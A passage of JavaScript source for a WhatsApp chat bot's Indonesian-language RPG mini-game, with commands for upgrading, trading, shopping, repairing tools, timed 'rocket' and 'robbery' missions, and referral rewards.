pickaxe * 1500000 + if (rock < __rock || wood < __wood || money < __money) return reply(` +Material Anda Kurang!! +${rock < __rock ? `\n${rpg.emoticon('rock')}rock kamu kurang *${__rock - rock}*` : ''}${wood < __wood ? `\n${rpg.emoticon('wood')}wood kamu kurang *${__wood - wood}*` : ''}${money < __money ? `\n${rpg.emoticon('money')}Uang kamu kurang *${__money - money}*` : ''}`) + user.pickaxe += 1 + user.wood -= __wood * 1 + user.rock -= __rock * 1 + user.money -= __money * 1 + user.pickaxedurability = 0 + user.pickaxedurability += pickaxe * 50 + reply(`Succes mengupgrade *${rpg.emoticon('pickaxe')}Pickaxe*`) + break + case 'sword': + if (sword == 0) { + let lmao = `anda belum memiliki *${rpg.emoticon('sword')}Sword* +untuk memilikinya ketik *${command}craft sword*` + return reply(`${lmao}`) + } + if (sword > 9) return reply(`*${rpg.emoticon('sword')}Sword* kamu sudah level max!!`) + let _iron = sword * 250 + let ___wood = sword * 150 + let ___money = sword * 1000000 + if (iron < _iron || wood < ___wood || money < ___money) return reply(` +Material Anda Kurang!! +${iron < _iron ? `\n${rpg.emoticon('iron')}Iron kamu kurang *${_iron - iron}*` : ''}${wood < ___wood ? `\n${rpg.emoticon('wood')}wood kamu kurang *${___wood - wood}*` : ''}${money < ___money ? `\n${rpg.emoticon('money')}Uang kamu kurang *${___money - money}*` : ''}`) + user.sword += 1 + user.iron -= _iron * 1 + user.wood -= ___wood * 1 + user.money -= ___money * 1 + user.sworddurability = 0 + user.sworddurability += sword * 50 + reply(`Succes mengupgrade *${rpg.emoticon('sword')}Sword*`) + break + case 'armor': + if (armor == 0) { + let lmao = `anda belum memiliki *${rpg.emoticon('armor')}Armor* +untuk memilikinya ketik *${command}craft armor*` + return reply(`${lmao}`) + } + if (armor > 9) return reply(`*${rpg.emoticon('armor')}Armor* kamu sudah level max!!`) + let _diamond = armor * 5 + let ____wood = armor * 150 + let ____money = armor * 1000000 + if (diamond < _diamond || wood < ____wood || money < ____money) return reply(` +Material Anda Kurang!! +${diamond < _diamond ? `\n${rpg.emoticon('diamond')}Diamond kamu kurang *${_diamond - diamond}*` : ''}${wood < ____wood ? `\n${rpg.emoticon('wood')}wood kamu kurang *${____wood - wood}*` : ''}${money < ____money ? `\n${rpg.emoticon('money')}Uang kamu kurang *${____money - money}*` : ''}`) + user.armor += 1 + user.diamond -= _diamond * 1 + user.wood -= ____wood * 1 + user.money -= ____money * 1 + user.armordurability = 0 + user.armordurability += sword * 50 + reply(`Succes mengupgrade *${rpg.emoticon('armor')}Armor*`) + break + case 'atm': + if (atm == 0) { + let lmao = `anda belum memiliki *${rpg.emoticon('atm')}Atm* +untuk memilikinya ketik *${command}craft atm*` + return reply(`${lmao}`) + } + if (atm > 999) return reply(`*${rpg.emoticon('atm')}Atm* kamu sudah level max!!`) + let __diamond = atm * 3 + let _emerald = atm * 5 + let _____money = atm * 10000 + if (diamond < __diamond || emerald < _emerald || money < _____money) return reply(` +Material Anda Kurang!! +${diamond < __diamond ? `\n${rpg.emoticon('diamond')}Diamond kamu kurang *${__diamond - diamond}*` : ''}${emerald < _emerald ? `\n${rpg.emoticon('emerald')}Emerald kamu kurang *${_emerald - emerald}*` : ''}${money < _____money ? `\n${rpg.emoticon('money')}Uang kamu kurang *${_____money - money}*` : ''}`) + user.atm += 1 + user.diamond -= __diamond * 1 + user.emerald -= _emerald * 1 + user.money -= _____money * 1 + user.fullatm = 0 + user.fullatm += atm * 500000000 + reply(`Succes mengupgrade *${rpg.emoticon('atm')}Atm*`) + break + default : + return reply(`${teks}`) + } +} +break +//================================================================== +case 'transfer': { + if (!m.isGroup) return reply(mess.only.group) +function special(type) { + let b = type.toLowerCase() + let special = (['common', 'uncommon', 'mythic', 'legendary', 'pet'].includes(b) ? ' Crate' : '') + return special +} + +function isNumber(x) { + return !isNaN(x) +} +const items = [ + 'money', 'bank', 'potion', 'trash', 'wood', + 'rock', 'string', 'petFood', 'emerald', + 'diamond', 'gold', 'iron', 'common', + 'uncommon', 'mythic', 'legendary', 'pet', 'chip', + 'anggur', 'apel', 'jeruk', 'mangga', 'pisang', + 'bibitanggur', 'bibitapel', 'bibitjeruk', 'bibitmangga', 'bibitpisang', +] + let user = global.db.users[m.sender] + const item = items.filter(v => v in user && typeof user[v] == 'number') + let lol = `Use format ${command} [type] [value] [number] +example ${command} money 9999 @621927237001 + +๐Ÿ“ Transferable items +${item.map(v => `${rpg.emoticon(v)}${v}`.trim()).join('\n')} +`.trim() + const type = (args[0] || '').toLowerCase() + if (!item.includes(type)) return reply(lol) + const count = Math.min(Number.MAX_SAFE_INTEGER, Math.max(1, (isNumber(args[1]) ? parseInt(args[1]) : 1))) * 1 + let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : args[2] ? (args[2].replace(/[@ .+-]/g, '') + '@s.whatsapp.net') : '' + let _user = global.db.users[who] + if (!who) return m.reply('Tag salah satu, atau ketik Nomernya!!') + if (!(who in global.db.users)) return m.reply(`User ${who} not in database`) + if (user[type] * 1 < count) return m.reply(`Your *${rpg.emoticon(type)}${type}${special(type)}* is less *${count - user[type]}*`) + let previous = user[type] * 1 + let _previous = _user[type] * 1 + user[type] -= count * 1 + _user[type] += count * 1 + if (previous > user[type] * 1 && _previous < _user[type] * 1) m.reply(`*โ€“โ€“โ€“โ€“โ€“โ€“ใ€Ž ๐šƒ๐š๐™ฐ๐™ฝ๐š‚๐™ต๐™ด๐š ใ€โ€“โ€“โ€“โ€“โ€“โ€“*\n*๐Ÿ“Š Status:* Succes\n*๐Ÿ—‚๏ธ Type:* ${type}${special(type)} ${rpg.emoticon(type)}\n*๐Ÿงฎ Count:* ${count}\n*๐Ÿ“จ To:* @${(who || '').replace(/@s\.whatsapp\.net/g, '')}`, null, { mentions: [who] }) + else { + user[type] = previous + _user[type] = _previous + m.reply(`*โ€“โ€“โ€“โ€“โ€“โ€“ใ€Ž TRANSFER ใ€โ€“โ€“โ€“โ€“โ€“โ€“*\n*๐Ÿ“Š Status:* Failted\n*๐Ÿ“ Item:* ${count} ${rpg.emoticon(type)}${type}${special(type)}\n*๐Ÿ“จ To:* @${(who || '').replace(/@s\.whatsapp\.net/g, '')}`, null, { mentions: [who] }) + } +} +break +//================================================================== +case 'shop': { + if (!m.isGroup) return reply(mess.only.group) +function isNumber(number) { + if (!number) return number + number = parseInt(number) + return typeof number == 'number' && !isNaN(number) +} + +function capitalize(word) { + return word.charAt(0).toUpperCase() + word.substr(1) +} +const items = { + buy: { + limit: { + exp: 9999 + }, + chip: { + money: 1000000 + }, + exp: { + money: 1000 + }, + potion: { + money: 1250 + }, + trash: { + money: 40 + }, + wood: { + money: 700 + }, + rock: { + money: 850 + }, + string: { + money: 400 + }, + iron: { + money: 3000 + }, + diamond: { + money: 500000 + }, + emerald: { + money: 100000 + }, + gold: { + money: 100000 + }, + common: { + money: 2000 + }, + uncommon: { + money: 20000 + }, + mythic: { + money: 75000 + }, + legendary: { + money: 200000 + }, + petfood: { + money: 3500 + }, + pet: { + money: 120000 + }, + anggur: { + money: 2000 + }, + apel: { + money: 2000 + }, + jeruk: { + money: 2000 + }, + mangga: { + money: 2000 + }, + pisang: { + money: 2000 + }, + bibitanggur: { + money: 2000 + }, + bibitapel: { + money: 2000 + }, + bibitjeruk: { + money: 2000 + }, + bibitmangga: { + money: 2000 + }, + bibitpisang: { + money: 2000 + }, + umpan: { + money: 5000 + } + }, + sell: { + limit: { + exp: 999 + }, + exp: { + money: 1 + }, + chip: { + money: 1000000 + }, + potion: { + money: 625 + }, + trash: { + money: 20 + }, + wood: { + money: 350 + }, + rock: { + money: 425 + }, + string: { + money: 200 + }, + iron: { + money: 1500 + }, + diamond: { + money: 250000 + }, + emerald: { + money: 50000 + }, + gold: { + money: 50000 + }, + common: { + money: 1000 + }, + uncommon: { + money: 10000 + }, + mythic: { + money: 37500 + }, + legendary: { + money: 100000 + }, + petfood: { + money: 1750 + }, + pet: { + money: 60000 + }, + anggur: { + money: 1000 + }, + apel: { + money: 1000 + }, + jeruk: { + money: 1000 + }, + mangga: { + money: 1000 + }, + pisang: { + money: 1000 + }, + bibitanggur: { + money: 1000 + }, + bibitapel: { + money: 1000 + }, + bibitjeruk: { + money: 1000 + }, + bibitmangga: { + money: 1000 + }, + bibitpisang: { + money: 1000 + }, + umpan: { + money: 2500 + } + } +} + + const item = (args[0] || '').toLowerCase() + if (!item.match('limit') && db.chats[m.chat].rpg == false && m.isGroup) return dfail('rpg', m, XeonBotInc) + let user = db.users[m.sender] + const listItems = Object.fromEntries(Object.entries(items[command.toLowerCase()]).filter(([v]) => v && v in user)) + let text = '' + let footer = '' + let image = '' + let buttons = '' + text = (command.toLowerCase() == 'buy' ? +(` +*${decor.htki} ๐™ฑ๐š„๐šˆ๐™ธ๐™ฝ๐™ถ ${decor.htka}* +`.trim()) : +(` +*${decor.htki} ๐š‚๐™ด๐™ป๐™ป๐™ธ๐™ฝ๐™ถ ${decor.htka}* +`.trim()) +) + footer = (command.toLowerCase() == 'buy' ? +(` +๐Ÿ›’ List Items : +${Object.keys(listItems).map((v) => { + let paymentMethod = Object.keys(listItems[v]).find(v => v in user) + return `โž  1 ${rpg.emoticon(v)} ${capitalize(v)} ๏นซ ${listItems[v][paymentMethod]} ${rpg.emoticon(paymentMethod)}${capitalize(paymentMethod)}`.trim() + }).join('\n')} +โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“ +๐Ÿ’๐Ÿปโ€โ™‚ แด›ษชแดฉ : +โž  แด›แด ส™แดœส ษชแด›แด‡แดs: +${command} [item] [quantity] +โ–ง แด‡xแด€แดแดฉสŸแด‡: +${command} potion 10 +`.trim()) : +(` +๐Ÿ›’ List Items : +${Object.keys(listItems).map((v) => { + let paymentMethod = Object.keys(listItems[v]).find(v => v in user) + return `โž  1 ${rpg.emoticon(v)} ${capitalize(v)} ๏นซ ${listItems[v][paymentMethod]} ${rpg.emoticon(paymentMethod)}${capitalize(paymentMethod)}`.trim() + }).join('\n')} +โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“โ€“ +๐Ÿ’๐Ÿปโ€โ™‚ แด›ษชแดฉ : +โž  แด›แด sแด‡สŸสŸ ษชแด›แด‡แดs: +${command} [item] [quantity] +โ–ง แด‡xแด€แดแดฉสŸแด‡: +${command} potion 10 +`.trim()) +) + + const total = Math.floor(isNumber(args[1]) ? Math.min(Math.max(parseInt(args[1]), 1), Number.MAX_SAFE_INTEGER) : 1) * 1 + if (!listItems[item]) return m.reply(footer) + if (command.toLowerCase() == 'buy') { + let paymentMethod = Object.keys(listItems[item]).find(v => v in user) + if (user[paymentMethod] < listItems[item][paymentMethod] * total) return m.reply(`Kamu membutuhkan *${(listItems[item][paymentMethod] * total) - user[paymentMethod]}* ${capitalize(paymentMethod)} ${rpg.emoticon(paymentMethod)} Lagi, Untuk Membeli *${total}* ${capitalize(item)} ${rpg.emoticon(item)}. Kamu hanya memiliki *${user[paymentMethod]}* ${capitalize(paymentMethod)} ${rpg.emoticon(paymentMethod)}.`) + user[paymentMethod] -= listItems[item][paymentMethod] * total + user[item] += total + return reply(`Sukses Membeli *${total} ${capitalize(item)} ${rpg.emoticon(item)}*, Seharga *${listItems[item][paymentMethod] * total} ${capitalize(paymentMethod)} ${rpg.emoticon(paymentMethod)}*`) + } else { + let paymentMethot = Object.keys(listItems[item]).find(v => v in user) + if (user[item] < total) return m.reply(`You don't have enough *${capitalize(item)} ${rpg.emoticon(item)}* to sell, you only have ${user[item]} items`) + user[item] -= total + user[paymentMethot] += listItems[item][paymentMethot] * total + return reply(`Sukses Menjual *${total} ${capitalize(item)} ${rpg.emoticon(item)}*, Seharga *${listItems[item][paymentMethot] * total} ${capitalize(paymentMethot)} ${rpg.emoticon(paymentMethot)}*`) + } +} +break +//================================================================== +case 'selectskill': { + if (!m.isGroup) return reply(mess.only.group) +let user = global.db.users[m.sender] +let skill = ["swordmaster", "necromancer", "witch", "Archer", "magicswordmaster", "thief", "shadow"] +let bintang = { +"satu": "โญ", +"dua": "โญโญ", +"tiga": "โญโญโญ", +"empat": "โญโญโญโญ", +"lima": "โญโญโญโญโญ", +"Enam": "โญโญโญโญโญโญ" +} + let skil = text.trim().toLowerCase() // to filter text + if (!skill.includes(skil)) return reply( `Select *skill๐Ÿƒ* what do you want/pilih skill apa yg kamu inginkan: + +${skill.map(skil => `โ€บ ${skil}`).join('\n')} + +How To use/Cara menggunakan: +${command} + +Example/Contoh: +${command} necromancer +`) + if (user.skill == "") { + user.skill = skil + m.reply(`Anda telah memilih Skill ${skil}`) + } else if (user.skill) { + m.reply(`Anda Sudah Punya skill ${user.skill} Tidak bisa diganti`) + } +} +break +//================================================================== +case 'sampah': { + if (!m.isGroup) return reply(mess.only.group) +const rewards = { + exp: 500, + money: 20999, +} + +const cooldown = 2592000000 + let user = global.db.users[m.sender] + if (new Date - user.lastmonthly < cooldown) return reply( `You have already claimed this monthly claim, wait for *${((user.lastmonthly + cooldown) - new Date()).toTimeString()}*`.trim()) + let text = '' + for (let reward of Object.keys(rewards)) if (reward in user) { + user[reward] += rewards[reward] + text += `*+${rewards[reward]}* ${rpg.emoticon(reward)}${reward}\n` + } + reply('*โ€“โ€“โ€“โ€“โ€“โ€“ใ€Ž NYAMPAH ใ€โ€“โ€“โ€“โ€“โ€“โ€“*\n' + text.trim()) + user.lastmonthly = new Date * 1 +} +break + +//================================================================== +case 'roket': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let user = global.db.users[m.sender] + let order = global.db.users[m.sender].rokets + let timers = clockString(_timers) + let name = user.registered ? user.name: XeonBotInc.getName(m.sender) + let id = m.sender + let kerja = 'Roket' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi: {} + if (id in XeonBotInc.misi) { + reply( `Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (user.health < 80) return m.reply(`Anda Harus Memiliki Minimal 80Health`) + if (new Date - global.db.users[m.sender].lastmisi > 3600000) { + let ngerok4 = Math.floor(Math.random() * 10) + let ngerok5 = Math.floor(Math.random() * 10) + + let ngrk4 = (ngerok4 * 100000) + let ngrk5 = (ngerok5 * 1000) + + let rokit = `๐ŸŒ• + + +โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’ +โ–’โ–’โ–„โ–„โ–„โ–’โ–’โ–’โ–ˆโ–’โ–’โ–’โ–’โ–„โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’ +โ–’โ–ˆโ–€โ–ˆโ–€โ–ˆโ–’โ–ˆโ–€โ–ˆโ–’โ–’โ–ˆโ–€โ–ˆโ–’โ–„โ–ˆโ–ˆโ–ˆโ–„โ–’ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–‘โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ +๐Ÿš€ + +๐Ÿ‘จโ€๐Ÿš€ Memulai penerbangan.... +`.trim() + + let rokit2 = `๐ŸŒ• + + +๐Ÿš€ +โ–’โ–’โ–„โ–„โ–„โ–’โ–’โ–’โ–ˆโ–’โ–’โ–’โ–’โ–„โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’ +โ–’โ–ˆโ–€โ–ˆโ–€โ–ˆโ–’โ–ˆโ–€โ–ˆโ–’โ–’โ–ˆโ–€โ–ˆโ–’โ–„โ–ˆโ–ˆโ–ˆโ–„โ–’ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–‘โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ + +โž• Dalam penerbangan.... +`.trim() + + let rokit3 = `๐ŸŒ•๐Ÿš€ + + +โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’ +โ–’โ–’โ–„โ–„โ–„โ–’โ–’โ–’โ–ˆโ–’โ–’โ–’โ–’โ–„โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’ +โ–’โ–ˆโ–€โ–ˆโ–€โ–ˆโ–’โ–ˆโ–€โ–ˆโ–’โ–’โ–ˆโ–€โ–ˆโ–’โ–„โ–ˆโ–ˆโ–ˆโ–„โ–’ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–‘โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–‘โ–ˆโ–€โ–ˆโ–€โ–ˆโ–‘โ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–‘โ–ˆโ–„โ–ˆโ–„โ–ˆโ–‘ +โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ + +โž• Sampai di tujuan.... +`.trim() + + let rokit4 = `๐ŸŒ•๐Ÿš€ + +โž• Sukses Mendarat.... ๐Ÿ‘จโ€๐Ÿš€ +`.trim() + + let hsl = ` +*โ€”[ Hasil Ngroket ${name} ]โ€”* +โž• ๐Ÿ’น Uang = [ ${ngrk4} ] +โž• โœจ Exp = [ ${ngrk5} ] +โž• ๐Ÿ˜ Mendarat Selesai = +1 +โž• ๐Ÿ“ฅTotal Mendarat Sebelumnya : ${order} +`.trim() + + user.money += ngrk4 + user.exp += ngrk5 + user.rokets += 1 + user.health -= 80 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 27000) + ] + + setTimeout(() => { + reply( hsl) + }, 27000) + + setTimeout(() => { + reply( rokit4) + }, 25000) + + setTimeout(() => { + reply( rokit3) + }, 20000) + + setTimeout(() => { + reply( rokit2) + }, 15000) + + setTimeout(() => { + reply( rokit) + }, 10000) + + setTimeout(() => { + reply( `๐Ÿ” ${name} Mencari Lokasi.....`) + }, 0) + user.lastmisi = new Date * 1 + } else m.reply(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) + } + break +//================================================================== +case 'rob': +case 'robery': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let user = global.db.users[m.sender] + let __timers = (new Date - user.lastmisi) + let _timers = (3600000 - __timers) + let timers = clockString(_timers) + let id = m.sender + let kerja = 'Rob' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + reply( `Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (user.health < 80) return reply('Anda Harus Memiliki Minimal 80Health') + if (new Date - global.db.users[m.sender].lastmisi > 3600000) { + let rndm1 = Math.floor(Math.random() * 10) + let rndm2 = Math.floor(Math.random() * 10) + + let ran1 = (rndm1 * 100000) + let ran2 = (rndm2 * 1000) + + let jln = ` +๐Ÿ˜๏ธ ๐Ÿš— + +โœ”๏ธ Mengincar target.... +`.trim() + + let jln2 = ` +๐Ÿ˜๏ธ ๐Ÿšถ + +โž• Memulai aksi.... +`.trim() + + let jln3 = ` +๐Ÿ˜๏ธ + +โž• Merampok.... +`.trim() + + let jln4 = ` +๐Ÿš— + + + +๐Ÿ˜๏ธ๐Ÿš“ + +โž• ๐Ÿ’นBerhasil kabur.... +`.trim() + + let hsl = ` +*โ€”[ Hasil rob ]โ€”* + +โž• ๐Ÿ’น Uang = [ ${ran1} ] +โž• โœจ Exp = [ ${ran2} ] +โž• ๐Ÿ“ฆ Rob Selesai = +1 + +Dan health anda berkurang -80 +`.trim() + user.money += ran1 + user.exp += ran2 + user.health -= 80 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 27000) + ] + + setTimeout(() => { + reply(hsl) + }, 27000) + + setTimeout(() => { + reply(jln4) + }, 25000) + + setTimeout(() => { + reply(jln3) + }, 20000) + + setTimeout(() => { + reply(jln2) + }, 15000) + + setTimeout(() => { + reply(jln) + }, 10000) + + setTimeout(() => { + reply('๐Ÿ”Mencari Rumah.....') + }, 0) + user.lastmisi = new Date * 1 + } else reply(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) + } + break +//================================================================== +case 'repair': { +if (!m.isGroup) return reply(mess.only.group) +const {default: MessageType } = require ('@whiskeysockets/baileys') + + let type = (args[0] || '').toLowerCase() + let _type = (args[0] || '').toLowerCase() + let user = global.db.users[m.sender] + global.db.users[m.sender].pickaxe = global.db.users[m.sender].pickaxe || 0 + global.db.users[m.sender].sword = global.db.users[m.sender].sword || 0 + global.db.users[m.sender].fishingrod = global.db.users[m.sender].fishingrod || 0 + global.db.users[m.sender].armor = global.db.users[m.sender].armor || 0 + let botol = global.botwm + +let lgocraft = ` +*ใ€Œ R E P A I Rใ€*` + + let caption = ` +โ–ง Pickaxe โ›๏ธ +โ–ง Sword โš”๏ธ +โ–ง Fishingrod ๐ŸŽฃ +โ–ง Armor ๐Ÿฅผ + +*โ RECIPE* +โ–ง Pickaxe โ›๏ธ +โŒช 20 Rock +โŒช 20 Wood +โŒช 20 Iron +โŒช 1 Diamond + +โ–ง Sword โš”๏ธ +โŒช 20 Wood +โŒช 20 Iron +โŒช 2 Gold +โŒช 1 Diamond + +โ–ง FishingRod โš”๏ธ +โŒช 20 Wood +โŒช 20 String +โŒช 20 Iron +โŒช 1 Diamond + +โ–ง Armor ๐Ÿฅผ +โŒช 15 Iron +โŒช 2 Gold +โŒช 1 Diamond +` +const sections = [ + { + title: "REPAIR A TOOLS", + rows: [ + {title: "SWORD โš”๏ธ", rowId: ".repair sword", description: "Repair Sword"}, + {title: "PICKAXE โ›๏ธ", rowId: ".repair pickaxe", description: "Repair Pickaxe"}, + {title: "FISHINGROD ๐Ÿฅผ", rowId: ".repair fishingrod", description: "Repair FishingRod"}, + {title: "ARMOR ๐Ÿฅผ", rowId: ".repair armor", description: "Repair Armor"}, + ] + }, +] + +const listMessage = { + text: caption, + footer: wm, + title: lgocraft, + buttonText: "R E P A I R", + sections +} + + try { + if (/repair/i.test(command)) { + const count = args[1] && args[1].length > 0 ? Math.min(99999999, Math.max(parseInt(args[1]), 1)) : !args[1] || args.length < 3 ? 1 : Math.min(1, count) + switch (type) { + case 'pickaxe': + if (user.pickaxedurability > 99) return m.reply('Tools ini belum memiliki kerusakan') + if (user.pickaxe == 0) return m.reply('Kamu belum memilik ini') + if(user.diamond < 1 || user.rock < 20 || user.wood < 20 || user.iron < 20 ) return m.reply(`Barang tidak cukup!`) + user.rock -= 20 + user.wood -= 20 + user.iron -= 20 + user.diamond -= 1 + user.pickaxedurability = 100 + m.reply("Sukses memperbaiki!") + break + case 'sword': + if (user.sworddurability > 99) return m.reply('Tools ini belum memiliki kerusakan') + if (user.sword == 0) return m.reply('Kamu belum memilik ini') + if(user.diamond < 1 || user.wood < 20 || user.iron < 20 || user.gold < 2 ) return m.reply(`Barang tidak cukup!`) + user.wood -= 20 + user.iron -= 20 + user.gold -= 3 + user.diamond -= 1 + user.sworddurability = 100 + m.reply("Sukses memperbaiki!") + break + case 'fishingrod': + if (user.fishingroddurability > 99) return m.reply('Tools ini belum memiliki kerusakan') + if (user.fishingrod == 0) return m.reply('Kamu belum memiliki ini') + if(user.diamond < 1 || user.string < 20 || user.wood < 20 || user.iron < 20 ) return m.reply(`Barang tidak cukup!`) + user.wood -= 20 + user.string -= 20 + user.iron -= 20 + user.diamond -= 1 + user.fishingroddurability = 100 + m.reply("Sukses memperbaiki!") + break + case 'armor': + if (user.armordurability > 99) return m.reply('Tools ini belum memiliki kerusakan') + if (user.armor == 0) return m.reply('Kamu belum memilik ini') + if(user.diamond < 1 || user.iron < 15 || user.gold < 2 ) return m.reply(`Barang tidak cukup!`) + user.iron -= 15 + user.gold -= 2 + user.diamond -= 1 + user.armordurability = 100 + m.reply("Sukses memperbaiki!") + break + default: + return await XeonBotInc.sendMessage(m.chat, listMessage) + } + } else if (/enchant|enchan/i.test(command)) { + const count = args[2] && args[2].length > 0 ? Math.min(99999999, Math.max(parseInt(args[2]), 1)) : !args[2] || args.length < 4 ? 1 :Math.min(1, count) + switch (_type) { + case 't': + break + case '': + break + + default: + return XeonBotInc.sendButton( m.chat, caption, wm, null, [`โ‹ฎโ˜ฐ Menu`, `.menu`], m) + } + } + } catch (err) { + m.reply("Error\n\n\n" + err.stack) + } +} +break +//================================================================== +case 'referal': { + if (!m.isGroup) return reply(mess.only.group) +const { crypto } = require ("crypto") +const xp_first_time = 2500 +const xp_link_creator = 15000 +const xp_bonus = { + 5: 40000, + 10: 100000, + 20: 250000, + 50: 1000000, + 100: 10000000, +} + + let users = global.db.users + if (text) { + if ('ref_count' in users[m.sender]) throw 'Tidak bisa menggunakan kode referal!' + let link_creator = (Object.entries(users).find(([, { ref_code }]) => ref_code === text.trim()) || [])[0] + if (!link_creator) throw 'Kode referal tidak valid' + let count = users[link_creator].ref_count++ + let extra = xp_bonus[count] || 0 + users[link_creator].exp += xp_link_creator + extra + users[m.sender].exp += xp_first_time + users[m.sender].ref_count = 0 + m.reply(` +Selamat! ++${xp_first_time} XP +`.trim()) + m.reply(` +Seseorang telah menggunakan kode referal kamu ++${xp_link_creator + extra} XP +`.trim(), link_creator) + } else { + let code = users[m.sender].ref_code = users[m.sender].ref_code || new Array(11).fill().map(() => [...'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'][crypto.randomInt(62)]).join('') + users[m.sender].ref_count = users[m.sender].ref_count ? users[m.sender].ref_count : 0 + let command_text = `${command}ref ${code}` + let command_link = `wa.me/${XeonBotIncuser.jid.split('@')[0]}?text=${encodeURIComponent(command_text)}` + let share_text = ` +Dapatkan ${xp_first_time} XP untuk yang menggunakan link/kode referal dibawah ini + +Referal Code: *${code}* + +${command_link} +`.trim() + m.reply(` +Dapatkan ${xp_link_creator} XP untuk setiap pengguna baru yang menggunakan kode referal kamu +${users[m.sender].ref_count} orang telah menggunakan kode referal kamu + +Kode referal kamu: ${code} + +Bagikan link kepada teman: ${command_link} + +atau kirim pesan kepada teman wa.me/?text=${encodeURIComponent(share_text)} + +${Object.entries(xp_bonus).map(([count, xp]) => `${count} Orang = Bonus ${xp} XP`).join('\n')} +`.trim()) + } +} +break +//================================================================== +case 'petstore': +case 'petshop': { + if (!m.isGroup) return reply(mess.only.group) + let type = (args[0] || '').toLowerCase() + let _type = (args[0] || '').toLowerCase() + let user = global.db.users[m.sender] + global.db.users[m.sender].pickaxe = global.db.users[m.sender].pickaxe || 0 + global.db.users[m.sender].pedang = global.db.users[m.sender].pedang || 0 + global.db.users[m.sender].fishingrod = global.db.users[m.sender].fishingrod || 0 + + //----------HARGA + let hdog = 2 + let hcat = 2 + let hhorse = 4 + let hfox = 6 + let hrobo = 10 + + let hlion = 10 + let hrhinoceros = 10 + let hdragon = 10 + let hcentaur = 10 + let hkyubi = 10 + let hgriffin = 10 + let hphonix = 10 + let hwolf = 10 + +let logo = `โ€” *P E T S T O R E* โ€” +โ–ฎโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–งโ–ฎ` +let caption = ` +๐Ÿˆ *Cat:* ${hcat} ๐Ÿ”– +๐Ÿ• *Dog:* ${hdog} ๐Ÿ”– +๐ŸŽ *Horse:* ${hhorse} ๐Ÿ”– +๐ŸฆŠ *Fox:* ${hfox} ๐Ÿ”– +๐Ÿค– *Robo:* ${hrobo} ๐Ÿ”– + +ใ€‰ *ABILITY* +Cooming soon...` +const sections = [ + { + title: "Buy A Pet", + rows: [ + {title: "Cat ๐Ÿˆ", rowId: ".petshop cat", description: 